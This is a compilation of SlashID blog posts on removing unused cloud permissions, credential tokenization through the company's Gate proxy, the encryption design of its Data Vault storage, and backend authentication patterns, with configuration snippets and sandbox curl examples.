SlashID Blog

Achieving Least Privilege: Unused Entitlement Removal

Vincenzo Iozzo, SlashID Team — Mon, 05 May 2025 00:00:00 GMT

Least privilege is a goal that many organizations aim to achieve but rarely do. For example, Microsoft estimates that almost 98% of their tenants have at least one overprivileged identity in their tenants.

At a fundamental level, the presence of unused permissions leads to a key problem for an organization: once an identity is compromised, it becomes much easier for an attacker to move laterally or escalate privileges in an environment.

However removing unused permissions is far from easy, so at SlashID we've worked hard to automate the process and help companies achieve a safer posture.

The issues with achieving least privilege

Depending on the organization, several factors get in the way of removing unused entitlements but three are by far the most common:

Concerns over uptime: What if removing an entitlement causes a critical cron job to stop functioning or a key employee can't do their job when it is most needed?
Complex authorization systems: Authorization systems are increasingly harder to comprehend, especially for CSPs. Creating least privilege policies at provisioning is all but impossible
Birthright creep: Permissions are commonly assigned to users based on their job function. This often means that everyone in a given department gets the same permissions irrespective of whether they need them or not

The SlashID approach to the problem

At SlashID we have combined the power of an identity access graph with real-time streaming of audit logs. This combination allows us to identify unused permissions for each identity and automatically generate a new policy to remove them.

We do this for all supported environments, not just CSPs.

Here's an example showing how to generate a policy that removes unused permissions for an AWS identity:

What about built-in permission analyzers?

GCP and AWS provide built-in permissions analyzers that can help identify unused permissions and build least privilege policies; however, they suffer from several shortcomings:

The lookback window is limited to 90 days: if you want to preserve permissions used by an identity sporadically, you can't leverage the built-in access analyzers
They are not automated: if you want automated remediation, you need to build a workflow pipeline yourself
They don't take into account all events leading to potentially incorrect remediations
They don't take into account impersonation: Often roles and service accounts are used by multiple identities so the role itself might require all permissions assigned to it but the identities that can impersonate that role don't need to. The built-in analyzers don't see that
They always create new policies from scratch instead of recommending existing ones that could fit the identity
Often the cost of generating new policies skyrockets, making this an exercise that can only be done rarely rather than continuously

With SlashID, those problems are automatically addressed for you so you can safely remove unused permissions without manual effort or downtime.

Results you can expect

50‑90 % reduction in standing privileges within the first month
Zero unplanned downtime
10-30% Saving from unused seats or licenses

Conclusion

Removing unused permissions is one of the best hygiene measures companies can take to prevent an incident from turning into a breach. Please get in touch to learn more.

Credential Tokenization: Protecting third-party API credentials

Vincenzo Iozzo, SlashID Team — Mon, 10 Jun 2024 00:00:00 GMT

Introduction

Stolen secrets and credentials are one of the most common ways for attackers to move laterally and maintain persistence in cloud environments.

Modern cloud deployments employ secrets management systems such as KMS to protect key materials at rest and avoid leaking keys or credentials in source code or other build artifacts. However, secrets are unprotected at runtime, so any vulnerability or compromise of a service could lead to credential theft.

In this blog post, we introduce credential tokenization to protect secrets at runtime, introduce separation of duties, and reduce the credential rotation burden.

The problem

Third-party non-human identities and machine credentials such as API keys, access tokens, and OAuth 2.0 client credentials have three key challenges to address: - Absence of lifecycle management: no standardized way to manage the provisioning and de-provisioning of these identities - Lack of security protections: It’s not possible to enforce security mitigations such as step-up authentication and MFA on NHI due to their nature as non-interactive credentials - Complex remediation: Revoking or rotating these credentials is often slow and cross-functional because it can result in downtime

Further, these credentials are fully exposed at runtime even in the presence of a secret manager because the application can access the key material or secret directly.

Our approach

Similar to the Fly.io security team, we have adopted a paradigm we call Credential Tokenization. The idea is similar to what payment processors do with credit card numbers: minimize exposure and replace the card number with a token.

The way we do this is through a Gate plugin, specifically, Gate injects secrets on outgoing requests and the application itself never touches key material.

Benefits

Our approach provides several benefits:

Reduced Key Material Exposure: By keeping secrets out of your application code and configuration files, you reduce the risk of accidental exposure or leaks. Further, even if the application is compromised that won't lead to secret leakage.
Enforce fine-grained access control: Gate's Tokenizer plugin can be combined with our OPA or OAuth 2.0 plugins to enforce fine-grained access control policies for secret retrieval and injection, especially useful when the secret itself doesn't have RBAC/roles restriction.
Separation of duty and easier rotation: Developers don’t have to worry about credentials lifecycle and management. Credentials can be rotated without downtime.

Example

Topology

Gate can be deployed in many different topologies: as a sidecar, as an external authorizer, a lambda authorizer, and more. For simplicity in this example we'll assume a sidecar deployment, that looks like the picture below:

Workflow

Here's a high-level overview of how credential tokenization works with SlashID and Gate:

Secret Creation: Use the secret generator utility to create a secret with the desired configuration. The utility allows you to specify the secret engine (e.g., SlashID, AWS Secrets Manager, GCP Secret Manager), the injection method (e.g., header injection, HMAC injection), and other relevant settings. The secret is then stored in the chosen secret engine.
Application Request: When your application needs to make a request to an external service that requires a secret (e.g., an API key), it sends the request to the Gate proxy instead of directly to the service. The request includes a special header (e.g., SID_Proxy_Auth) that contains the secret identifier.
Secret Retrieval: Gate's Tokenizer plugin intercepts the request and extracts the secret identifier from the SID_Proxy_Auth header. It then makes a request to the secret manager to retrieve the corresponding secret using the secret identifier.
Secret Injection: Once the Tokenizer plugin receives the decrypted secret from SlashID, it injects the secret into the request based on the specified configuration. This can involve setting a header value, computing an HMAC signature, or injecting an OAuth token.
Request Forwarding: After injecting the secret, Gate forwards the modified request to the destination service. The service receives the request with the required secret, processes it, and sends the response back to Gate.
Response Handling: Gate receives the response from the service and forwards it back to your application. The application receives the response without any knowledge of the tokenization process that occurred behind the scenes.

Request Handling in a picture

Gate configuration

The Gate configuration is straightforward as well, as a simple example:

gate:
---
plugins:
---
- id: tokenize_requests
  type: tokenizer
  enabled: true
  parameters:
    header_with_proxy_token: SID_Proxy_Auth
    secret_engine: slashid
---
default:
  transparent: true

In this configuration:

header_with_proxy_token specifies the header that contains the encrypted secret identifier.
secret_engine is set to "slashid", indicating that SlashID is being used as the secret engine. Currently, we support Hashicorp Vault, AWS Secret Manager, GCP Secret Manager, and Azure Key Vault.

With this configuration, Gate's Tokenizer plugin will intercept requests, retrieve the corresponding secret from SlashID based on the secret ID in the SID_Proxy_Auth header, and inject it into the request based on the secret's configuration.

The transparent mode for Gate means that no URL rewriting occurs and the request is simply forwarded to the remote server.

Conclusion

Through credential tokenization, you can minimize the handling of key material, enforce fine-grained access control on API keys, and make credential lifecycle management significantly easier.

Please contact us if you are interested in securing your third-party credentials.

App-layer cryptographic primitives for secure storage of user data

Giovanni Gola, Vincenzo Iozzo — Thu, 20 Oct 2022 00:00:00 GMT

Background

Since SlashID’s inception, our goal has been to give developers a secure way to store user data without hosting it on their own internal infrastructure or worrying about how to do cryptography right.

Furthermore, for better or worse, the regulatory environment around user data was becoming increasingly strict, so we aimed to build a data storage engine that was not only safe but also complied by design with data protection and localization regulations mandated by various jurisdictions.

Given our premises, we had a number of requirements for our data encryption layer:

Database-agnostic
Serverless
Handles encryption and data localization transparently
Hardware-based root of trust to implement crypto-anchoring and avoid mass data exfiltration
Data can be either globally replicated or localized to an individual region
Compliance with GDPR and similar regulations by (i) keeping an audit log of data access requests and (ii) using crypto-shredding to service data deletion requests
No noticeable latency for the end user
Ability to perform encrypted searches with equality

In the following sections we’ll describe the architecture of our storage encryption layer and the primitives used to build it.

Before moving to the technical details, we’d like to thank Dino Dai Zovi and Sam Quigley whose work on the Square’s infrastructure has been an inspiration for our own design. Dino and his team have written about parts of their infrastructure in this Cash App post.

A better Developer Experience

We are engineers first and foremost and it was important for us to build a product developers genuinely want to use because it simplifies their day to day job. In the context of authentication and identity management, this translates into building a platform that allows developers to stop spending cycles to implement and worry about encryption, data localization or key management and rotation.

From the outside, SlashID’s interface looks like a standard REST API, coupled with a set of SDKs, both client-side and server-side, that together allow developers to store and retrieve users and their associated data.

For instance, this is a code snippet that shows how to register/sign-in an user and how to store and retrieve encrypted attributes using our client-side JavaScript SDK:

var sid = new slashid.SlashID({ oid: Organization_ID })
// ... initialization code ...

const user = await sid.id(
  Organization_ID,
  {
    type: 'phone_number',
    value: '+13337777777',
  },
  {
    method: 'webauthn',
  }
)
// ... authentication logic ...

await user.set({ attr1: 'value1' })

const attrs = await user.get()
// => attrs === {"attr1": "value1", ...}

In the example above, we are registering/logging in a user by the phone number +13337777777 as handle, and using webauthn as the authentication method. By default, if the user connected to the website from Lisbon their data would be automatically stored in the EU, if they connected from New York the data would be stored in the US - you can override that choice in the id() call.

Calling set on a user creates a new attribute in our Data Vault module. When that happens an attribute-specific key is generated and is used to encrypt value1. The key is itself encrypted with a user-specific key generated at user-creation time.

Calling get on a user allows you to retrieve one or more attributes associated with the user. The attributes are decrypted and returned in clear-text to the caller.

Note how, throughout the example, you don't have to worry about encryption nor data localization and the user data never touches your own infrastructure.

Overall architecture

We made the decision that our encryption layer would be database-agnostic. This was done because we want the possibility to expand datastore coverage beyond our current database if needed.

Some data structures in our architecture are encrypted and globally replicated while others are encrypted but localized to a specific region.

We make extensive use of envelope encryption. Our chain of trust forms a tree as depicted below, each child key is encrypted with the parent key.

Properties of the key hierarchy

The key hierarchy mentioned above is generated per-region and this structure brings a number of advantages:

A compromised key doesn’t compromise all the data
Deleting user data can be achieved through crypto-shredding by deleting the corresponding user key
Data can be replicated globally without violating data residency requirements since the keys are localized per-region
The root of trust is stored in a Hardware Security Module (HSM) making a whole-DB compromise an extremely arduous task
We can enforce fine-grained access control on the HSM to tightly control and reduce the number of services able to decrypt subtrees

Keys lifecycle

Keys are created on demand when a new org, a new user or a new attribute is generated. Keys are never stored unencrypted anywhere at rest and only one service within SlashID’s infrastructure has the ability to access the HSM to decrypt the master key, significantly reducing the chances of compromise.

Derived keys are stored in a database that is encrypted, geo-localized and backed-up every 24 hours.

Lastly, all keys are rotated at regular, configurable, intervals.

The primitives

We spent a significant amount of time evaluating the correct set of primitives to use for our architecture. Below are some of the key decisions we made.

HSM selection

At this point, we don’t have a dedicated data center at SlashID, so we evaluated various solutions provided by external cloud vendors.

We excluded Azure right away because it doesn’t support symmetric keys unless using managed HSMs. Azure is also not supported by our cryptographic library of choice, Tink.

There’s minimal difference in features or cost between GCP and AWS, but we ended up picking GCP because of two key features:

GCP’s External Key Manager (EKM) supports the use of external HSM vendors out of the box, allowing our customers to pick an HSM vendor of their choice and to manage their own keys.
GCP is certified FIPS 140-2 Level 3, whereas AWS is FIPS 140-2 Level 2, hence GCP has stronger security guarantees.

Cryptographic library

When implementing any cryptographic system, selecting the correct library is paramount. Our library of choice is Google Tink. This presentation does a great job of explaining Tink’s design principles and why it’s a superior choice when compared to better known libraries such as OpenSSL.

For our Data Vault module, we were looking for a few key features:

Support for deterministic authenticated encryption
Native Golang support since that’s the primary language our backend is written in

Tink also has a few more unique features:

Tink manages nonces directly, preventing mistakes in the implementation or usage of cryptographic algorithms, which could easily result in vulnerabilities
Tink has an interface to talk directly to HSMs hosted in GCP and AWS, reducing the burden of managing the KMS/Cloud HSM APIs
Tink reduces key rotation complexity through keysets

While Tink is not the fastest cryptographic library available today, it is the easiest to use safely and, as we’ll see below, the performance overhead is still negligible for the algorithms we adopt.

Key Types and Encryption Modes

We employ a variety of encryption methods depending on the data type. Tink provides a long list of supported types.

At a high level, we employ deterministic encryption for data on which we perform encrypted search. For most of the remaining data, we use AES-GCM encryption, which has hardware support on most modern processors and generally faster performance without sacrificing security. If you want to read more, this blogpost does a great job at comparing symmetric encryption methods.

Note that, strictly speaking, AES-GCM-SIV and XChaCha20-Poly1305 would be safer choices because they either have longer nonces or prevent nonce abuse. However, AES-GCM-SIV comes with a ~30% performance hit, which we considered unacceptable for our use case, and, as mentioned earlier, Tink also implements safe nonce management.

As for XChaCha20-Poly1305, it is cryptographically stronger than GCM because it has a longer nonce. However, its performance is worse compared to AES-GCM due to the lack of built-in hardware instruction sets. We overcome that risk by not reusing keys and by letting Tink handle nonce management.

Secure enclaves or not?

Both AWS and GCP provide support for confidential computing. In AWS, trusted environments go under the commercial name of Nitro Enclaves, whereas in GCP they are called Confidential VMs.

The principle behind both products is to provide an isolated environment similar to what HSMs provide, but using Virtual Machines instead of hardware.

Ultimately, we decided against using Confidential VMs or Nitro Enclaves due to the very limited security benefits they provide. To understand why, let’s analyze Nitro Enclaves briefly; very similar considerations apply to GCP’s Confidential VMs.

Nitro Enclaves are implemented by partitioning the CPU and memory of a single “parent” EC2 instance to run a Docker container in them. While a container can normally perform arbitrary computation, when executed within a Nitro Enclave its only external communication channel is a single socket connection via Virtual Sockets, while the Enclave runs a nested, secure, hypervisor. From the outside, you can't see any internal console messages, logs or access the container in any way. The only visible data is the input and output of the sockets. Further, only the parent instance (i.e.,the EC2 that created the enclave), can communicate with the Docker container running inside the enclave.

The enclave created in this way has two key features:

The enclave can speak directly to AWS’ Key Manager Service (KMS) over TLS. Hence, data encryption/decryption can be achieved directly from the Docker container inside the Nitro Enclave without talking to the parent instance.
The enclave generates an attestation of the Docker container running on it. This attestation allows you to create access rules within the KMS, so that only enclaves with a particular hash (i.e., a specific pre-agreed Docker image, running pre-agreed code) can decrypt data.

While these two properties have high value, lambda functions within GCP and AWS provide similar isolation features and significantly lower lifetime, reducing the burden and risk of maintaining an EC2 instance.

We evaluated whether the benefits of KMS Key Policy attestation were valuable enough to justify the extra overhead, and, in the end, determined that it was not a favorable tradeoff. This is primarily because KMS policies are governed by IAM roles in AWS, so they are not a silver bullet in and of themselves: an attacker with access to IAM can change the KMS policies and swiftly invalidate any advantage of Nitro Enclaves with respect to access control.

So while Nitro Enclaves offer marginally more protections than standard instances, we think that that protection is offset by the additional complexity and the longer lifespan of the EC2 instance running the enclave.

In the end, for our use case, an adequate IAM policy coupled with serverless execution provides a strong and comparable safe alternative.

Performance impact

As we already discussed, algorithm selection was a key consideration for us, both in terms of security and speed. To test the impact of encryption on performance, we ran our service with and without encryption.

Our benchmarks indicate that the overhead of our encryption layer vs clear-text for data retrieval is as follows:

BenchmarkDecryptAttributes_1b-10        	   65793	     17894 ns/op	    9440 B/op	     146 allocs/op
BenchmarkDecryptAttributes_4b-10        	   72162	     18019 ns/op	    9456 B/op	     146 allocs/op
BenchmarkDecryptAttributes_64b-10       	   68924	     17904 ns/op	    9696 B/op	     146 allocs/op
BenchmarkDecryptAttributes_1024b-10     	   59560	     20180 ns/op	   13536 B/op	     146 allocs/op
BenchmarkDecryptAttributes_4096b-10     	   48620	     24793 ns/op	   25824 B/op	     146 allocs/op
BenchmarkDecryptAttributes_65536b-10    	   13249	     89876 ns/op	  263393 B/op	     146 allocs/op

We believe that ~0.08 milliseconds for a 64k block is an acceptable result for our needs and the sub-linear growth in latency means that we would be able to process even significantly larger attributes with minimal performance impact.

Threat model

When we built Data Vault, our aim was to create an exfiltration-resistant, fast and compliant module for our customers.

The threat we care the most about is an attacker compromising our infrastructure and exfiltrating customer data in bulk. Our security posture is an evolution of the setup described a few years ago by Diogo Monica and Nathan McCauley from Anchorage and Square in this blog post.

In our system, data exfiltration attacks are prevented thanks to three design choices:

The root of trust is an HSM and only a single service is able to talk to it
Each attribute and each user are encrypted with a separate, individual key, and therefore the loss of key doesn’t result in loss of other data
We use encryption search to minimize the encryption/decryption operations performed in our environment, reducing the exposure of keys

While our architecture doesn’t entirely rule out the risk of mass-exfiltration, it reduces the attack scenarios to one of two cases:

The attacker is able to compromise the service allowed to speak with the HSM by obtaining full code execution, and exploit that to decrypt the org keys
The attacker has compromised our IAM system and has diverted HSM access to a third-party service that is attacker-controlled

We employ a number of additional countermeasures to further reduce the two risks above. These measures are probabilistic in nature and hence we prefer not to discuss them publicly.

Comparing Data Vault with the standard database encryption options makes it clear how Data Vault is significantly more secure than other storage alternatives. In fact, in a traditional environment, obtaining access to the database is all the attacker needs in order to exfiltrate or alter customer data – a significantly easier attack path.

Disaster recovery

Given our security posture, it is key to prevent accidental deletion of encryption keys. We maintain a robust disaster recovery posture through the following steps:

HSM keys are only scheduled for destruction with a 90 days grace period.
Derived keys are stored and encrypted in a database that is replicated and backed up every 24 hours

End-to-End Encryption

Our current threat model protects user data from malicious third-parties but doesn’t prevent the organization the user belongs to or SlashID from accessing the data.

Sometimes, it is desirable for the user to have data that can only be accessed by the user and no other third parties, including SlashID. For instance, Flo is offering anonymous mode to users who don’t want to share their information after the Roe vs. Wade ruling.

In a separate blogpost we’ll describe our approach to E2E Encryption of user attributes and how our customers can leverage it to provide stronger security guarantees to their users.

Conclusion

In this blogpost we’ve shown the technical decisions we made to build our secure user storage module, Data Vault.

The state of cryptographic primitives has improved dramatically in the last few years, making building a system like ours a more feasible task. In particular:

Globally available Crypto Anchors wouldn’t be feasible without Cloud HSMs due to the DevOps overhead of running your own HSMs in a data center.
Field-level encryption wouldn’t be feasible without hardware support for certain primitives such as AES due to the performance impact
The risk of misusing cryptographic libraries/primitives would be a lot higher without Tink

Notwithstanding the leap forward in cryptographic primitives, there are many intricacies and gotchas to maintaining such a system, and a single blogpost can’t cover all of them in detail. We plan to describe in a series of blog posts some of the more gnarly aspects of building Data Vault.

If you have built a similar project internally or plan to, we would love to compare notes! Please drop us a line.

Backend Authentication and Authorization Patterns: Benefits and Pitfalls of Each

Vincenzo Iozzo, SlashID Team — Thu, 28 Sep 2023 00:00:00 GMT

Introduction

Identity in distributed applications is hard. It's a complex matter and depending on what you are building, implementation varies. In partcular, once your application moves away from a monolith to microservices or serverless the authentication and authorization plane that once served as middleware in the monolith has adapted to a number of different patterns.

In this article, we'll cover some of the most common ones in use. Note that these patterns are agnostic to the authentication/authorization mechanism used, so we won't touch on those in this post.

The API Gateway/edge authentication pattern

What it is

At a high level, the API Gateway/edge serves as the termination point for token inspection, enrichment, and payload encryption/decryption. In this scenario, the edge authentication service is responsible for inspecting the tokens provided by the client and running one or more verification and modification passes on it before it reaches the end service.

There are many derived architectures from this base pattern, and some of the more common ones are noted below (some of these can be combined):

The token used by the client is translated to an internal "secure" token, such that an attacker has fewer chances to craft a valid internal token. For instance, the internal token might be signed with a key pair that is not exposed to the public.
The edge authentication service reaches out to an authorization server that enriches the token with scopes/roles used to enforce authorization decisions at the microservice level.
The token propagated internally is a "passport," which is a way to propagate the client identity information in a uniform way, especially in environments with multiple IdPs or token types.

A further variation to this is the Backend for Frontend (BFF) pattern. From an AuthN/AuthZ perspective, the BFF pattern doesn't significantly change the logic but adds further complexity in maintaining states and logic across different gateways.

Benefits

The edge authentication pattern is advantageous in scenarios where there are multiple teams utilizing different programming languages and where there is a desire for high performance and a clear separation of responsibilities between infrastructure and application developers.

This pattern is adopted by several companies, including Netflix.

Drawbacks

This model poses two primary drawbacks:

Lower Security Guarantees: An attacker that manages to compromise an internal service can move laterally to the rest of the system unchecked, especially in modern environments where the perimeter is at L7 instead of L4.
Stale Authorization Decisions: This pattern also falters in scenarios where authorization decisions need immediate enforcement, as tokens carrying authorization scopes could become stale.

The middleware pattern

What it is

In this pattern, all the AuthN/AuthZ logic is enforced at the service level via middleware. Here, the authorization logic is housed in the middleware, while the authorization data is usually accessed directly from a database.

The middleware pattern used to be popular as it facilitated the simplest one-to-one migration from a monolith; however, it is becoming increasingly less common today.

Benefits

The primary benefit of this pattern is that it often represents a 1:1 migration from the monolith. A secondary benefit is that, since AuthN/AuthZ is close to the application logic, compromising a service doesn't necessarily lead to a breach of the rest of the deployment.

Drawbacks

This model presents several drawbacks:

Divergent Implementations: As the environment’s complexity increases, there can be a proliferation of middleware with potentially different behaviors, leading to correctness issues and potential security concerns.
Complex Migrations: Any alterations to the structure of the tokens or the AuthN/AuthZ logic necessitate modifications to each middleware implementation.
Lack of Governance/Inspectability: Embedding AuthN/AuthZ logic in a DB/middleware renders readability and inspectability unfeasible in organizations where security or legal teams need to inspect such logic.

The embedded pattern

What is it

Similar to the middleware pattern, in this pattern, all authentication and authorization are embedded directly in the application code.

This pattern is a less clean yet even easier way to perform one-to-one migration from a monolith; however, it is strictly inferior to the other approaches due to potential security concerns, particularly when dealing with authentication.

Benefits

The primary benefit of this pattern is that it often represents a 1:1 migration from the monolith. A secondary benefit is that the authorization logic can be embedded in the database tables, increasing performance.

Drawbacks

This model is probably the least viable one in real world environments for several reasons:

Divergent Implementations: As the environment’s complexity increases, there can be a proliferation of middleware with potentially different behaviors, leading to correctness issues and potential security concerns.
Complex Migrations: Any alterations to the structure of the tokens or the AuthN/AuthZ logic necessitate modifications to each middleware implementation.
Lack of Governance/Inspectability: Embedding AuthN/AuthZ logic in DB/middleware renders readability and inspectability unfeasible in organizations where security or legal teams need to inspect such logic.
Higher risk of vulnerabilities: Co-mingling application logic with identity logic leads to a significantly higher risk of security vulnerabilities.

The sidecar pattern

What it is

A sidecar is a recognized pattern where functionalities of an application are segregated into separate processes to provide isolation and encapsulation. A critical point to note here is that the sidecar and the application coexist in an encapsulated, trusted environment. Thus, all communications between an application and a sidecar are trusted.

This arrangement facilitates the offloading of authorization and authentication to the sidecar, allowing the incoming connection to pass through the application only after successful authorization and authentication.

This pattern is gaining popularity, with several companies like Block to JP Morgan adopting this architecture.

Envoy has recently released an extension to make the adoption of the sidecar pattern significantly easier in a service mesh.

Benefits

This model offers several benefits:

Zero-Trust Approach: Each service enforces its authentication and authorization logic.
Uniform Implementation: A singular implementation is applied to every service, preventing diverging implementations.
Easier Migrations and Governance: Changes to logic or data structure can be centralized in a single place.
No Stale Identity data: Authorization decisions are executed at the sidecar level, reducing concerns about staleness.
Separation of concerns: The application development team doesn't have to worry about the AuthN/AuthZ fabric of the system.

Drawbacks

The sidecar approach has two notable drawbacks:

Management overhead: In this pattern there are more containers to monitor
Latency: Checking signatures/policies at every microservice introduces increased latency compared to "check once".

Implement the API server and sidecar patterns with Gate

SlashID Gate supports several deployment modes and can be deployed in conjunction with all API gateways and service meshes.

We'll use Kubernetes clusters in these examples, but we also support out-of-the-box integrations with all major cloud vendors’ API gateways to support managed infrastructure.

Caching

As we discussed earlier in the article, one of the key considerations when deciding on the architecture is latency. Gate has a built-in caching plugin that allows us to pick and choose which URLs and plugins are allowed to cache responses and also allows us to manually override the Cache-Control policy for some URLs.

The cache is an LRU cache whose size is configurable, with a default size of 32 MB.

As an example:

plugins_http_cache:
  - pattern: '*'
    cache_control_override: private, max-age=600, stale-while-revalidate=300

You can find the full configuration here.

Passporting tokens

We've shown earlier that passporting tokens to propagate an internal token compared to an external one is a common practice used by multiple companies. Gate supports the ability to remint tokens and to add custom claims to existing tokens.

When a request comes in, Gate sends a POST request to the endpoint with the following format to the reminter webhook:

{
  "token": "Token from the original request"
}

A valid response looks as follows:

{
  "headers_to_set": {
    "Authorization": "Basic YWxhZGRpbjpvcGVuc2VzYW1l",
    "IsTranslated": "true"
  },
  "cookies_to_add": {
    "X-Internal-Auth": "9xUromfTraIwHpmC6R9NDwJwItE"
  }
}

By default, Gate will strip the original token from the request before forwarding. You can instruct Gate to keep the original token by setting the keep_old_token option to true. Gate will override the original request headers with the headers returned from headers_to_set, and will add all cookies from cookies_to_add to the ones already present in the request.

The sidecar pattern

For this example, we'll show an example of Gate deployed as an Envoy External Authorization gRPC filter. To simplify the deployment, we'll use Emissary-ingress as an example, but a similar configuration works for Envoy.

You can see a full deployment guide here.

At a high level, there are three key operations to the deployment:

Deploying Gate as a service
Deploy a Filter and FilterPolicy
Deploy an AuthService for Emissary

Conceptually, the deployment looks as follows:

Having done that, you can configure Gate as you normally would, but specifying the mode option in the deployment:

mode: ext_auth
default:
  ext_auth_response: deny
port: 5000
tls:
  enabled: false

From here on, routes and plugins are defined as usual:

# Define shared config
slashid_config: &slashid_config
  slashid_org_id: "your_org_id"
  slashid_api_key: "your_api_key"

plugins:
  - id: authn_proxy
    type: authentication-proxy
    enabled: false
    parameters:
      <<: *slashid_config
      login_page_factors:
        - method: email_link
      jwks_url: https://api.slashid.com/.well-known/jwks.json
      jwks_refresh_interval: 15m
      jwt_expected_issuer: https://api.slashid.com
      online_tokens_validation_timeout: "24h"

  - id: authz_vip
    type: opa
    enabled: false
    parameters:
      <<: *slashid_config
      cookie_with_token: SID-AuthnProxy-Token
      policy_decision_path: /authz/allow
      policy: |
        package authz
        import future.keywords.if
        default allow := false
        allow if input.request.parsed_token.payload.groups[_] == "vips"
# ...
    - pattern: "*/profile/vip"
        plugins:
        authn_proxy:
            enabled: true
        authz_vip:
            enabled: true
    - pattern: "*/admin"
        plugins:
        authn_proxy:
            enabled: true
        authz_admin:
            enabled: true

The Edge Authenticaiton pattern

Continuing with the Kubernetes example, we can deploy Gate between the Kubernetes load balancer and the rest of the backend.

After deploying Gate as a Kubernetes service, the necessary step is to add a LoadBalancer service as follows:

apiVersion: v1
kind: Service
metadata:
  labels:
    app: gate
  name: gate
spec:
  externalTrafficPolicy: Local
  ports:
    - port: 8080
      targetPort: 8080
  selector:
    app: gate
  sessionAffinity: None
  type: LoadBalancer

From here on, routes, plugins, and the Gate configuration are defined as usual.

Conclusion

The architecture of your backend is a critical decision, dependent on the threat model, complexity, and heterogeneity of the deployment, and latency requirements.

In this article, we've surveyed some of the most common patterns we observe in the industry. Gate can help implement your backend identity posture without dictating a specific architecture.

We’d love to hear any feedback you may have. Please contact us at contact@slashid.dev! Try out Gate with a free account.

Introducing Data Vault - Secure HSM-backed PII storage directly from the frontend

Giovanni Gola, Vincenzo Iozzo — Mon, 07 Nov 2022 00:00:00 GMT

Introduction

Building a truly secure data storage is still extremely hard, and the increased regulatory pressure makes mishandling of users’ personally identifiable information (PII) a very costly mistake.

We built Data Vault to help developers store user data and PII securely, without having to worry about data localization, key management, key rotation or the million other issues you face when building and using cryptographic primitives.

Data Vault is ideal for scenarios in which you need to save sensitive user data such as data collected during KYC, Health-related records and credit cards data but it can also be used as a simple and convenient key-value store for user attributes. For instance, we use Data Vault to keep track of a user's cart in our e-commerce demo.

You can try Data Vault yourself in our playground.

Data Vault has a number of properties that are not available through a database or through products like Hashicorp Vault:

Database-agnostic
Customers can bring their own Hardware Security Modules (HSM)
Accessible directly from the frontend as well as the backend
Handles encryption and data localization transparently
Hardware-based root of trust to implement crypto-anchoring and avoid mass data exfiltration
Data can be either globally replicated or localized to an individual region
Compliance with GDPR and similar regulations by (i) keeping an audit log of data access requests and (ii) using crypto-shredding to service data deletion requests
No noticeable latency for the end user
Ability to perform encrypted searches with equality

How do you use Data Vault?

From the outside, Data Vault’s interface looks like a standard REST API, coupled with a set of SDKs (both client-side and server-side) that together allow developers to store and retrieve users and their associated data.

Below you’ll see a few examples of how to use Data Vault, both client-side through our SDK and server-side through our APIs. We'll show a few examples with and without SlashID as the Identity Provider.

Data Vault with SlashID Access client-side

If you are using SlashID’s Access module for identity management, then Data Vault is already provided as part of Access.

For instance, this is a code snippet that shows how to register or sign-in a user and how to store and retrieve encrypted attributes using our client-side JavaScript SDK:

var sid = new slashid.SlashID({ oid: Organization_ID })
…
const user = await sid.id(
   Organization_ID,
   {
       type: "phone_number",
       value: "+13337777777"
   },
   {
       method: "webauthn"
   }
)
…
await user.set({"passport": "E65471234"})

const attrs = await user.get()
// => attrs === {"passport": "E65471234"}

In the example above, we are registering/logging in a user with the phone number +13337777777, and using webauthn as the authentication method. By default, if the user connected to the website from Lisbon their data would be automatically stored in the EU, and if they connected from New York the data would be stored in the US - you can override that choice in the id() call.

Calling set on a user creates a new attribute in our Data Vault module. When that happens an attribute-specific encryption key is generated, which is used to encrypt passport. The key is itself encrypted with a user-specific key generated at user-creation time.

Calling get on a user allows you to retrieve one or more attributes associated with the user. The attributes are decrypted and returned in clear-text to the caller.

Note how, throughout the example, you don't have to worry about encryption nor data localization, and the user data never touches your own infrastructure.

Client-side Data Vault without SlashID Access

If you are not using Access for Identity Management, you can still use Data Vault securely from your frontend.

You first need to create a user in SlashID through our APIs:

curl -L -X POST 'https://api.sandbox.slashid.com/persons' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: c4681245-11d2-4fa5-835f-378b04ff7395' \
-H 'SlashID-API-Key: NnfXQCnvn/YvwHhVtaHF39/8X8kqAzks' \
--data-raw '[
  {
    "attributes": {},
    "handles": [
      {
        "type": "email_address",
        "value": "user_blogpost@user.com"
      }
    ],
    "region": "us-iowa",
    "roles": [
    ],
    "groups": [
    ]
  }
]'

{
    "result":
    [
        {
            "personID":"pid:01975547e47da59d74d5fa5df2e1f1df3ffa1a2ece1785c3e97e6ede0478e89e8d3ca7612a:1",
            "active":true,
            "roles":[]
        }
    ]
}

Once you have the user you can mint an access token for it through our APIs:

curl -L -X POST 'https://api.sandbox.slashid.com/persons/pid:01975547e47da59d74d5fa5df2e1f1df3ffa1a2ece1785c3e97e6ede0478e89e8d3ca7612a:1/mint-token' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'SlashID-OrgID: c4681245-11d2-4fa5-835f-378b04ff7395' \
-H 'SlashID-API-Key: NnfXQCnvn/YvwHhVtaHF39/8X8kqAzks'
{
 "result": "eyJhbGciOiJSUzI1NiIsImtpZCI6InZFcHNGZyJ9.dsaRoZW50aWNhdGVkX21ldGhvZHMiOlsiYXBpIl0sImV4cCI6MTY2NzU2NzIxMCwiZmlyc3RfdG9rZW4iOmZhbHNlLCJpYXQiOjE2Njc0ODA4MTAsImlzcyI6InNhbmRib3guc2xhc2hpZC5kZXYvYXV0aG4iLCJqdGkiOiI2MDU3Yzc1MDNhYzhkNjM2NWVkMDZkMDFkOGIwNGZlOSIsIm9pZCI6ImY5NzhhNmJkLTNlNDUtYmNkYS1jYjRlLTU3M2QwYmFkMTU1YiIsInVzZXJfaWQiOiJwaWQ6MDE5NzU1NDdlNDdkYTU5ZDc0ZDVmYTVkZjJlMWYxZGYzZmZhMWEyZWNlMTc4NWMzZTk3ZTZlZGUwNDc4ZTg5ZThkM2NhNzYxMmE6MSJ9.EMwqVfJLvVVhOy_TQ7UuX1kiXphXBwt3E38Rkdkgkld_C5TfHqi7BRgwyc6FQEsnX4QzoB9-vCjupVxpAlY_PuVaxvNI3j1NUilZuPB8GMsiUS5Ivc1k9yUBMt11qOd1GR6lU9GiUZnXzOaYiOMc5LZJs8ig7YsFJCSZ34QpgcwQAkR0gIWOBezc_q4vHel8NnOgjx4syhUz-1gLngyqgwpdWae1zmzMY9zrof7NfXnSr69waLQvToA7gQWDgC0TLimpvNNiHrE3Do7v0JgXJ7JQ63ARE7ES0uppaX-mvpo7HYp32RfDmh29EOsMkSt0NFrY8t1UhUvySh57ECkePA"
}

